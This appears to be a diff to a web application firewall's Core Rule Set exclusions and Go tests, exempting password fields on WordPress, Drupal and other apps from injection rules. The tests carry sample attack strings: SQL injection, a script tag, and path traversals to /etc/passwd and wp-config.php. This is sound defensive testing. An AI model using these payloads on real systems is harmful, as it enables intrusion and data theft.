got, _ := inspectBody(t, crs, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
}
}
})
}
for _, attack := range []string{
sqlInjection,
"..%2F..%2Fwp-config.php",
@@ -1348,6 +1595,33 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
}
func TestWordPressPasswordsPass(t *testing.T) {
t.Parallel()
signIn := request{http.MethodPost, wpLogin, []string{formData}}
wantRandomPasswordsPass(t, signIn, "pwd")
wantPasswordAttacksPass(t, signIn, "pwd")
wantPasswordAttacksRefused(t, signIn, "pwd")
}
func TestWordPressPasswordFieldsPass(t *testing.T) {
t.Parallel()
pass := []string{"pass1", "pass2"}
wantPasswordFieldsPass(t, []passwordFields{
{wpLogin + "?action=resetpass", formData, pass},
{wpLogin + "?action=postpass", formData, []string{"post_password"}},
{"/wp-admin/profile.php", formData, pass},
{"/wp-admin/user-edit.php?user_id=2", formData, pass},
{"/wp-admin/user-new.php", formData, pass},
{"/wp-json/wp/v2/users", jsonBody, []string{passwordKey}},
{"/wp-json/wp/v2/users/me", formData, []string{passwordKey}},
{"/index.php?rest_route=/wp/v2/users/2", jsonBody, []string{passwordKey}},
})
}
func TestWordPressExclusionsAreNarrow(t *testing.T) {
t.Parallel()
@@ -1405,6 +1679,9 @@ const injection = "1' OR '1'='1"
// scriptTag is a script injection, not escaped.
const scriptTag = "<script>alert(1)</script>"
// pathTraversal is a path traversal, not escaped.
const pathTraversal = "../../etc/passwd"
// readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
+86
View File
@@ -184,6 +184,92 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
# The password, pass, skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
"id:900819,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
# The passwords when signing up, changing the password and adding a user skip
# the same rules:
# pass[pass1], pass[pass2], current_pass: the forms at /user/register,
# /user/<id>/edit and /admin/people/create
# json.pass.value, json.pass.0.value, json.pass.0.existing: a client signing up
# or changing the password in Drupal's JSON format
# json.data.attributes.pass.value, .existing: a JSON:API client doing the same
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/register|user/[0-9]+(?:/edit)?|admin/people/create|jsonapi/user/user(?:/[^/]+)?)$" \
"id:900820,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/"
# A person's name and email address, when signing up, when editing an
# account and when commenting without an account. A name of python3 refused
# signing up, and python3@example.com refused saving an account. An address
+49 -11
View File
@@ -19,6 +19,12 @@ const drupalSignIn = "/user/login"
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
const drupalJSONSignIn = "/user/login?_format=json"
// drupalRegister is Drupal's sign-up form.
const drupalRegister = "/user/register"
// drupalJSONRegister is Drupal's sign-up in its JSON format.
const drupalJSONRegister = "/user/register?_format=json"
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
const drupalJSONPasswordReset = "/user/password?_format=json"
@@ -31,12 +37,6 @@ const drupalEditAccount = "/user/2/edit"
// drupalName is the field for a person's name, as the start of a form body.
const drupalName = "name="
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt")
}
// drupalAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
@@ -109,10 +109,9 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
{reply, drupalName + attack},
{drupalSignIn, "pass=" + attack},
{drupalSignIn, drupalName + attack},
{"/fr/user/login", drupalName + attack},
{"/user/register", drupalName + attack},
{drupalRegister, drupalName + attack},
{drupalEditAccount, "mail=" + attack},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
@@ -172,6 +171,45 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
}
}
func TestDrupalPasswordPasses(t *testing.T) {
t.Parallel()
for _, r := range []request{
{http.MethodPost, drupalSignIn, []string{formData}},
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
} {
t.Run(r.target, func(t *testing.T) {
t.Parallel()
wantRandomPasswordsPass(t, r, "pass")
wantPasswordAttacksPass(t, r, "pass")
wantPasswordAttacksRefused(t, r, "pass")
})
}
}
func TestDrupalPasswordFieldsPass(t *testing.T) {
t.Parallel()
const value = "pass.0.value"
pass := []string{"pass[pass1]", "pass[pass2]"}
wantPasswordFieldsPass(t, []passwordFields{
{drupalRegister, formData, pass},
{"/fr/user/register", formData, pass},
{"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
{"/admin/people/create", formData, pass},
{drupalJSONRegister, jsonBody, []string{value}},
{drupalJSONRegister, jsonBody, []string{"pass.value"}},
{"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
{
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
[]string{"data.attributes.pass.value", "data.attributes.pass.existing"},
},
})
}
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
t.Parallel()
@@ -264,7 +302,7 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
{drupalSignIn, drupalName},
{"/user/register", drupalName},
{drupalRegister, drupalName},
{drupalEditAccount, "mail="},
{"/comment/reply/node/1/comment", drupalName},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
@@ -457,7 +495,7 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
// on a path other than the password reset.
for _, target := range []string{
drupalJSONPasswordReset + "&json.name=python3",
"/user/register?_format=json",
drupalJSONRegister,
} {
r := request{http.MethodPost, target, []string{jsonBody}}
@@ -470,7 +508,7 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
// So does the JSON field mail.
for _, target := range []string{
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
"/user/register?_format=json",
drupalJSONRegister,
} {
r := request{http.MethodPost, target, []string{jsonBody}}
+47
View File
@@ -289,3 +289,50 @@ SecRule REQUEST_FILENAME \
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
"id:900640,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
# The passwords skip each rule that random passwords set off:
# password: signing in, signing up, linking an account, activating an account,
# resetting or changing the password, deleting an account, and creating or
# editing a user on the admin pages
# retype: signing up, linking an account by signing up, and changing the
# password
# old_password: changing the password
# json.password: creating or editing a user through the admin API
SecRule REQUEST_FILENAME "@rx ^/user/(?:login|sign_up|link_account_signin|link_account_signup|activate|recover_account|settings/(?:change_password|account(?:/delete)?))$|^/(?:-/)?admin/users/(?:new|[0-9]+/edit)$|^/api/v1/admin/users(?:/[^/]+)?$" \
"id:900650,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:password|retype|old_password|json\.password)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
+81
View File
@@ -176,6 +176,87 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
# The passwords named above skip each rule that random passwords set off, and
# so does form_challenge[current_password]: confirming the password at
# /auth/challenge, or on the two-factor settings pages that ask for it again.
SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete|two_factor_authentication(?:_methods)?)|auth)(?:/|$)" \
"id:900965,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/"
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
"id:900966,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
